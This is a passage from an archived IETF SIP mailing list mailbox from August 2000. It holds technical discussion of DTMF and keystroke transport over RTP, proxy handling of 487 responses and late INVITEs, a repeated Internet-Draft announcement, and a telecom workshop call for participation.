audio from a caller > to go to another (or many other places). > > Henning Schulzrinne said: > >not all end systems will implement anything beyond basic 2833, in > >practice you'll end up with trivial 'RTP splitters' that route DTMF > >packets to one server and audio to another. > http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html > > Actually, that is my key point. in order to enable > applications like the > one described above, the split between keystrokes and tones > NEEDS TO BE > IN THE BASE RFC 2833 DOCUMENT. Otherwise you need splitters, or other > nefarious devices to implement most applications. We don't need > splitters for sending audio two places. Why would we require > a splitter > to send audio one place and keystrokes another? Just reinvite > a separate > keystroke session. > > Henning Schulzrinne said: > >Finally (separate issue), I just don't see that there is a practical > >difference between DTMF and 'user input'. User input is just a subset > of > >DTMF (minus loudness). Hopefully, both will disappear over time, as > user > >devices have richer input capability. We don't want to redo > >telnet/rlogin or X11 in SIP. > http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html > > I agree, at least about the issue of DTMF and user input being similar > (assuming you mean keystrokes). I don't agree about the keys > dissapearing over time (See my post about addressing) > > Skip said: > >Some devices will use speech recognition for addressing. > Some will not. > > >Those that can't or won't accept the costs of speech reco will still > have > >to have some method of indicating an address at a minimum. I will be > >willing to bet that that method will include at a minimum, a > set of 10 > >numeric keys and an ENTER and DELETE (or equivalent) button. The > keyboard > >may have a thousand other keys, but it WILL have numerics. > http://lists.bell-labs.com/pipermail/sip/2000q3/002083.html > > So perhaps DTMF and user keystroke input can be considered similar > enough that we could use a single protocol to transport both types of > things. Fair enough. We can default things like level or frequency or > time stamps when the transmitting device is a packet terminal that > doesn't care about those things. As long as keystrokes are in > a separate > session from the audio, I can deal with these issues. > > So that brings us to my second issue. Even if keystrokes have > their own > session, they still need to be delivered by a reliable > protocol. Henning > seems to feel that RTP with reliability extensions (RFC 2198) > will fill > this bill. > > Henning Schulzrinne said: > >RTP with redundancy is at least as reliable as SIP transport > http://lists.bell-labs.com/pipermail/sip/2000q3/002087.html > > RFC 2198 seems to be targeted specifically to reliably > delivering audio > by transmitting redundant audio data. I was unable to find any mention > of how single-datum events such as a non-audio keystroke from a SIP > terminal could be made reliable using RFC 2198. (I can think of some > ways, but none of them are specified in the document). I > expect that, if > we are to use RFC 2198, we will have to extend it to deal > with non-audio > keystrokes. I'm not saying it can't be done, just that we haven't said > how to do it yet. By the way, Colin Perkins, a participant in this > thread, was an author of the 2198 RFC for audio redundancy. > Colin, if I > am putting words in your mouth, speak up. > > There are several existing mechanisms for reliable delivery of > single-datum events. TCP, SCTP, and telnet come to mind. Would it be > easier to just select an existing reliable protocol for keystroke > transport, or develop RFC 2198 to the point it could be used for > single-datum non-audio events like a keystroke. Admittedly, > it would be > nice to not require another protocol stack in devices that already > implement RTP, but what about things that aren't phones? Should we > require that any SIP device with keys support reliable RTP? Even if it > doesn't have a microphone or speaker? Is reliable RTP simpler or more > complex than the other reliable delivery mechanisms? > > Why should we bias a protocol such as RFC 2833 towards devices with a > microphone and a keyboard? Why not bias it towards devices with video > camera and a keboard? Why not devices with just a keyboard? > > Henning Schulzrinne said: > >every Ethernet phone will need to support RFC 2833 (and it's pretty > >trivial to implement, given that RTP/RTCP is needed anyway). > Instead of > > >adding another mechanism, it would seem better to have the generic > >ability to get end systems to send to multiple copies of > audio streams, > > >including subsets. This is more generally useful for > multi-party calls. > > http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html > > I'm not convinced that reliable RFC2833 is all that trivial for > non-audio keystrokes, since that hasn't been defined yet. I'm also not > convinced that reliable RFC2833 is vastly simpler or more complex that > other reliable protocols. I agree that a single protocol is > nice, and if > reliable RTP isn't vastly more complex than a different reliable > protocol, we could use it. > > I DEFINITELY agree with Henning that all SIP terminals should be > required to have the capability to send multiple copies of audio > streams. This should be in the base SIP (or is it SDP) specification. > This functionality is a MUST for a large set applications (virtually > every application my company builds). Multi-party calls, operator > intercept, voice logging, all of these applications would be much more > difficult and costly to implement, if session replication > capability is > not present in EVERY SIP terminal (and gateway). All SIP terminals > should also be required to support requests for multiple copies of a > video session. They should all be required to support requests for > multiple copies of a keystroke session. We should consider this as one > of the highest priorities for updates to the basic SIP doc. > What is the > process for getting this requirement into the base document? > > Don't know what this has to do with splitting keystroke sesions from > audio, though. > > Actually, I don't find this requirement for all devices (including > audio-less devices) to use reliable RTP particularly objectionable. As > long as reliable RTP delivery of keystrokes can be shown to > be close to > as efficient in bandwidth and processing power as any of the other > transport protocol candidates, a reliable version of RFC 2833 > would be a > viable approach to use. As long as the keystrokes have their own > session, and reliable RTP isn't too much of a hog compaired > to the other > choices, let's use it. Of course we still need to define it (reliable > RTP for non-audio, single-datum events) first. > > Comments? > > Skip Cave > Sr. Principal Engineer > InterVoice-Brite Inc. > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 07:03:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09093 for ; Fri, 11 Aug 2000 07:03:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0CEB944377; Fri, 11 Aug 2000 07:02:43 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ietf.org (odin.ietf.org [132.151.1.176]) by lists.bell-labs.com (Postfix) with ESMTP id 0B58E44338 for ; Fri, 11 Aug 2000 07:02:37 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09048; Fri, 11 Aug 2000 07:02:25 -0400 (EDT) Message-Id: <200008111102.HAA09048@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: sip@lists.bell-labs.com From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Date: Fri, 11 Aug 2000 07:02:25 -0400 Subject: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-01.txt,.ps Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : SIP: Session Initiation Protocol Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg Filename : draft-ietf-sip-rfc2543bis-01.txt,.ps Pages : 177 Date : 10-Aug-00 The Session Initiation Protocol (SIP) is an application-layer control (signaling) protocol for creating, modifying and terminating sessions with one or more participants. These sessions include Internet multimedia conferences, Internet telephone calls and multimedia distribution. Members in a session can communicate via multicast or via a mesh of unicast relations, or a combination of these. SIP invitations used to create sessions carry session descriptions which allow participants to agree on a set of compatible media types. SIP supports user mobility by proxying and redirecting requests to the user's current location. Users can register their current location. SIP is not tied to any particular conference control protocol. SIP is designed to be independent of the lower-layer transport protocol and can be extended with additional capabilities. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-rfc2543bis-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-rfc2543bis-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-rfc2543bis-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20000810140257.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-rfc2543bis-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-rfc2543bis-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20000810140257.I-D@ietf.org> --OtherAccess-- --NextPart-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 11:13:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21805 for ; Fri, 11 Aug 2000 11:13:22 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F08724434E; Fri, 11 Aug 2000 11:12:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from picard.noroff.no (unknown [212.20.204.3]) by lists.bell-labs.com (Postfix) with ESMTP id AA40544336 for ; Fri, 11 Aug 2000 11:12:54 -0400 (EDT) Received: by picard.noroff.no (Postfix, from userid 815) id 89E5D22002; Fri, 11 Aug 2000 17:57:10 +0200 (CEST) Received: from loki.ietf.org (loki.ietf.org [132.151.1.177]) by picard.noroff.no (Postfix) with ESMTP id 57667B3802 for ; Fri, 11 Aug 2000 17:57:07 +0200 (CEST) Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id KAA12278 for ietf-123-outbound.09@ietf.org; Fri, 11 Aug 2000 10:25:02 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA10147 for ; Fri, 11 Aug 2000 07:02:35 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09048; Fri, 11 Aug 2000 07:02:25 -0400 (EDT) Message-Id: <200008111102.HAA09048@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: sip@lists.bell-labs.com From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Date: Fri, 11 Aug 2000 07:02:25 -0400 X-AntiVirus: scanned for viruses by Amavis 0.2.1-pre2 Subject: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-01.txt,.ps Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : SIP: Session Initiation Protocol Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg Filename : draft-ietf-sip-rfc2543bis-01.txt,.ps Pages : 177 Date : 10-Aug-00 The Session Initiation Protocol (SIP) is an application-layer control (signaling) protocol for creating, modifying and terminating sessions with one or more participants. These sessions include Internet multimedia conferences, Internet telephone calls and multimedia distribution. Members in a session can communicate via multicast or via a mesh of unicast relations, or a combination of these. SIP invitations used to create sessions carry session descriptions which allow participants to agree on a set of compatible media types. SIP supports user mobility by proxying and redirecting requests to the user's current location. Users can register their current location. SIP is not tied to any particular conference control protocol. SIP is designed to be independent of the lower-layer transport protocol and can be extended with additional capabilities. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-rfc2543bis-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-rfc2543bis-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-rfc2543bis-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20000810140257.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-rfc2543bis-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-rfc2543bis-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20000810140257.I-D@ietf.org> --OtherAccess-- --NextPart-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 12:15:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24109 for ; Fri, 11 Aug 2000 12:15:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8F48F44379; Fri, 11 Aug 2000 12:14:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103]) by lists.bell-labs.com (Postfix) with ESMTP id 81C6C44336 for ; Fri, 11 Aug 2000 12:14:37 -0400 (EDT) Received: from postal.research.att.com (postal.research.att.com [135.207.23.30]) by mail-green.research.att.com (Postfix) with ESMTP id 3C59B1E04A for ; Fri, 11 Aug 2000 12:14:34 -0400 (EDT) Received: from research.att.com ([135.58.126.37]) by postal.research.att.com (8.8.7/8.8.7) with ESMTP id MAA04860 for ; Fri, 11 Aug 2000 12:14:33 -0400 (EDT) Message-ID: <3994263C.48DCB511@research.att.com> Date: Fri, 11 Aug 2000 12:13:48 -0400 From: "Gregory W. Bond" Organization: AT&T Labs - Research, Florham Park, NJ X-Mailer: Mozilla 4.72 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] IP Telecom Services Workshop 2000: Call for Participation Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit [Please accept our apologies for multiple copies of this call.] ------------- CALL FOR PARTICIPATION --------------- IP TELECOM SERVICES WORKSHOP 2000 (IPTS 2000) co-located with Fall 2000 Voice on the Net (VON) organized by AT&T Labs Research pulver.com Cobb Galleria, Atlanta, Georgia, U.S.A September 11, 2000 http://www.research.att.com/conf/ipts2000/ ----------------------------------------------------------- IPTS 2000 is a new workshop dedicated to the important, emerging field of IP Telecom Services research. In contrast to the services available on the PSTN, a new world of telecom services is possible on an IP-based infrastructure. This world presents new challenges for service development, deployment and management. This one-day workshop will serve as a forum for the dissemination of research relating to these challenges. We have put together an excellent technical program that includes 7 original research papers, two invited speakers, and a round table discussion. We look forward to the participation from you and your colleagues in the telecom industry and the research community. Registration is now open at http://pulver.com/ipts2000/register.html. TECHNICAL PROGRAM Keynote Speaker - Eric Sumner, President and CEO of dynamicsoft Invited Speaker - Joe Rinde, AT&T Labs "Why Service? What Services?" DFC as the basis for ECLIPSE, an IP communications software platform Greg Bond, Eric Cheung, Andrew Forrest, Michael Jackson, Hal Purdy, Chris Ramming, and Pamela Zave AT&T Labs Research Experimenting with PARLAY in a SIP Environment: Early Results Stephane Desrochers, Roch H. Glitho, Kindy Sylla Ericsson Research Canada Approach For Services in Converged Networks Sanjiv Kapur, Rakesh Vij Hughes Software Systems Unified Messaging using SIP and RTSP Kundan Singh and Henning Schulzrinne Columbia University SPHINX: A Study in Convergent Telephony and Advanced Scenarios for H.323-SIP Interoperation Kumar V. Vemuri Lucent Technologies Where Should Services Reside in Internet Telephony Systems? Xiaotao Wu and Henning Schulzrinne Columbia University A Transformation Approach for Service Creation in a Hybrid IP-IN Network Cyril Carrez, Elie Najm, Alexandre Tauveron Ecole Nationale Superieure des Telecom Roundtable Discussion - topic to be announced REGISTRATION IPTS 2000 will be held on September 11, 2000 in Atlanta, Georgia. The workshop will be co-located with Fall 2000 Voice on the Net (VON). Registration details for IPTS 2000 can be found at http://www.research.att.com/conf/ipts2000. Hotel information can be found at http://www.pulver.com/von/hotel.html. Registration for IPTS 2000 does not include registration for Fall 2000 VON. Registration details for Fall 2000 VON can be found at http://pulver.com/von. IPTS 2000 is organized by AT&T Labs Research (http://www.research.att.com) and pulver.com (http://pulver.com). WORKSHOP CO-CHAIRS Greg Bond, AT&T Labs Research Eric Cheung, AT&T Labs Research PROGRAM COMMITTEE Mauricio Arango, Sun Microsystems Labs Joanne Atlee, University of Waterloo Ralph Blumenthal, Daewoo Telecom Scott Hoffpauir, BroadSoft Evan Magill, University of Strathclyde Peter Mataga, dynamicsoft Bernie Pagurek, Carleton University Jonathan Rosenberg, dynamicsoft Henning Schulzrinne, Columbia University Greg Utas, Nortel Networks Pamela Zave, AT&T Labs Research FURTHER GENERAL INFORMATION http://www.research.att.com/conf/ipts2000 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 12:28:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24527 for ; Fri, 11 Aug 2000 12:28:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4A4DD44384; Fri, 11 Aug 2000 12:26:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 403B744336 for ; Fri, 11 Aug 2000 12:26:51 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id MAA03026; Fri, 11 Aug 2000 12:28:21 -0400 (EDT) Message-ID: <39942A92.4A1A5FA4@dynamicsoft.com> Date: Fri, 11 Aug 2000 12:32:18 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "McMurry, Kathleen" Cc: "'Jo Hornsby'" , Henning Schulzrinne , sip@lists.bell-labs.com Subject: Re: [SIP] ACK handling at Stateful Proxies References: <75C79E507864D3118AFC00805FEAB7D8714674@ripexch001.mcit.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "McMurry, Kathleen" wrote: > > I have some follow up questions about the 487 message handling at a Proxy > that was discussed on this thread. > > You mentioned that upon expiration of the Expires timer, a Proxy should not > send a 408 to the OUA until after the TUA responds with a 487. This seems > to have a backwards computability problem. If the TUA does not yet support > the 487, the Proxy will never receive the 487. What timer should the Proxy > use for waiting for the 487 - a T1 Timer on the INVITE? I think its value is an implementation decision. There are only two cases where the 487 won't be received almost immediately: 1. the UAS doesn't send it, and it won't send anything since it got the CANCEL 2. the UAS sent a different final response already, which passed the CANCEL on the wire So, either a final response (487 or otherwise) will come nearly right away, or nothing at all. It won't come right away because of possible network packet loss. So, its reasonable to assume something anywhere between 10 and 32 seconds, which represents a window of reasonable packet loss. We should clarify this in the spec, as this timer is needed for backwards compatibility, as you indicate. Upon expiration of > that timer, does the Proxy resend the INVITE? No. What good would that server? If it resent the INVITE to a > TUA that didn't support the 487, the TUA would think this was a new call > request (at least prior to the bis draft). Upon expiration, it would generate its own 487 or 408 response to the INVITE. > Also, in the case of a parallel proxy does the Proxy wait for all branches > to return the 487, or just the first one? All. Standard forking behavior. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 12:33:54 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24780 for ; Fri, 11 Aug 2000 12:33:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3DA7A44389; Fri, 11 Aug 2000 12:32:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 9C64C44336 for ; Fri, 11 Aug 2000 12:32:02 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id MAA03058; Fri, 11 Aug 2000 12:33:36 -0400 (EDT) Message-ID: <39942BCC.70DFA8BD@dynamicsoft.com> Date: Fri, 11 Aug 2000 12:37:32 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Shrader Cc: SIP List Subject: Re: [SIP] processing late INVITEs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Its a side effect of catastrophically bad network conditions. I expect some conditions would be non-existent in networks used to provide residential phone service over IP. -Jonathan R. David Shrader wrote: > > Jonathan, Do you actually like the fact that your phone at home rings and no > one is there? This is really annoying and will continue to grow with more > telemarketers using predictive dialing. It is not really an acceptable > side-effect of network conditions. > > ---------------------------- > David Shrader > Master Consultant, Inc. > DShrader@EyeForTheFuture.com > http://www.EyeForTheFuture.com > > > From: Jonathan Rosenberg > > Organization: dynamicsoft > > Date: Tue, 08 Aug 2000 21:12:55 -0400 > > To: Garret Wilson > > Cc: SIP List > > Subject: Re: [SIP] processing late INVITEs > > > > > > > > Garret Wilson wrote: > >> > >> Everyone, > >> > >> What does a does a server do if an isomorphic SIP INVITE arrives after a > >> call completes? > > > > For proxies - nothing. Once the state of the transaction is erased, this > > will look like a brand new INVITE, and be proxied merrily on its way. > > > > As for user agent servers, the choice is yours. The INVITE state machine > > itself will force you to keep state around for 32 seconds. That should > > cover a pretty hefty fraction of very late packets. If you want to > > extend this timer to get those 10 9's of reliability, your choice. I'm > > not to worried about this problem. Worst case the phone rings again, its > > picked up, 200 OK is sent, no ACK ever comes, no one talks on the other > > side, and you hang up. My phone at home sometimes rings and no one is > > there. > > > > -Jonathan R. > > > > -- > > Jonathan D. Rosenberg 72 Eagle Rock Ave. > > Chief Scientist First Floor > > dynamicsoft East Hanover, NJ 07936 > > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > > http://www.dynamicsoft.com > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 13:18:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA26654 for ; Fri, 11 Aug 2000 13:18:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1AACA44384; Fri, 11 Aug 2000 13:17:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 3FFB344336 for ; Fri, 11 Aug 2000 13:17:23 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id NAA03327; Fri, 11 Aug 2000 13:19:00 -0400 (EDT) Message-ID: <39943670.CE20E0C6@dynamicsoft.com> Date: Fri, 11 Aug 2000 13:22:56 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Garret Wilson Cc: SIP List Subject: Re: [SIP] isomorphic clarification References: <00ff01c00300$71da7740$1bdd4240@sfmissn1.sfba.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Garret Wilson wrote: > > The SIP specification states that, "Two requests or responses are defined to > be isomorphic for the purposes > of this document if they have the same values for the Call-ID, To, From and > CSeq header fields." The -01 draft also mentions that the Request URIs must be identical, to support spirals. As an additional thing, the *top* Vias must be the same, in order to detect merged requests. We should add this here and elsewhere in the document as needed. You later write: > I just realized that the latest spec explains how to compare URIs. The > question remains that, if two URI's are equal yet not identical in string > format, are two From headers (for example) which contain these two URIs > considered to have the "same value" as per the definition of isomorphic? Yes. Two FRoms are equal if (1) their URIs match under URI comparison, (2) their From parameters match, based on standard matching rules for header parameters (case sensitive equality of both name and value). It might be a good idea to formally define "identical" in this section. Its a constant source of confusion and problems at the bakeoffs. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 14:14:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28876 for ; Fri, 11 Aug 2000 14:14:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3FC7444386; Fri, 11 Aug 2000 14:11:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from east.isi.edu (east.isi.edu [38.245.76.2]) by lists.bell-labs.com (Postfix) with ESMTP id DF67944353 for ; Fri, 11 Aug 2000 13:34:35 -0400 (EDT) Received: from hafez.east.isi.edu (hafez.east.isi.edu [38.245.76.121]) by east.isi.edu (8.9.2/8.9.2) with ESMTP id NAA20799; Fri, 11 Aug 2000 13:35:00 -0400 (EDT) Received: from hafez.east.isi.edu (localhost [127.0.0.1]) by hafez.east.isi.edu (8.9.3/8.8.7) with ESMTP id WAA30503; Fri, 11 Aug 2000 22:34:35 +0500 Message-Id: <200008111734.WAA30503@hafez.east.isi.edu> To: Skip Cave Cc: SIP Mail List Subject: Re: [SIP] DTMF and Universal Input In-Reply-To: Your message of "Fri, 11 Aug 2000 03:47:41 CDT." <3993BDAC.408B54BB@gte.net> Date: Fri, 11 Aug 2000 13:34:35 -0400 From: Colin Perkins Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --> Skip Cave writes: ...much deleted... >Henning Schulzrinne said: >>RTP with redundancy is at least as reliable as SIP transport >http://lists.bell-labs.com/pipermail/sip/2000q3/002087.html > >RFC 2198 seems to be targeted specifically to reliably delivering audio >by transmitting redundant audio data. I was unable to find any mention >of how single-datum events such as a non-audio keystroke from a SIP >terminal could be made reliable using RFC 2198. (I can think of some >ways, but none of them are specified in the document). I expect that, if >we are to use RFC 2198, we will have to extend it to deal with non-audio >keystrokes. 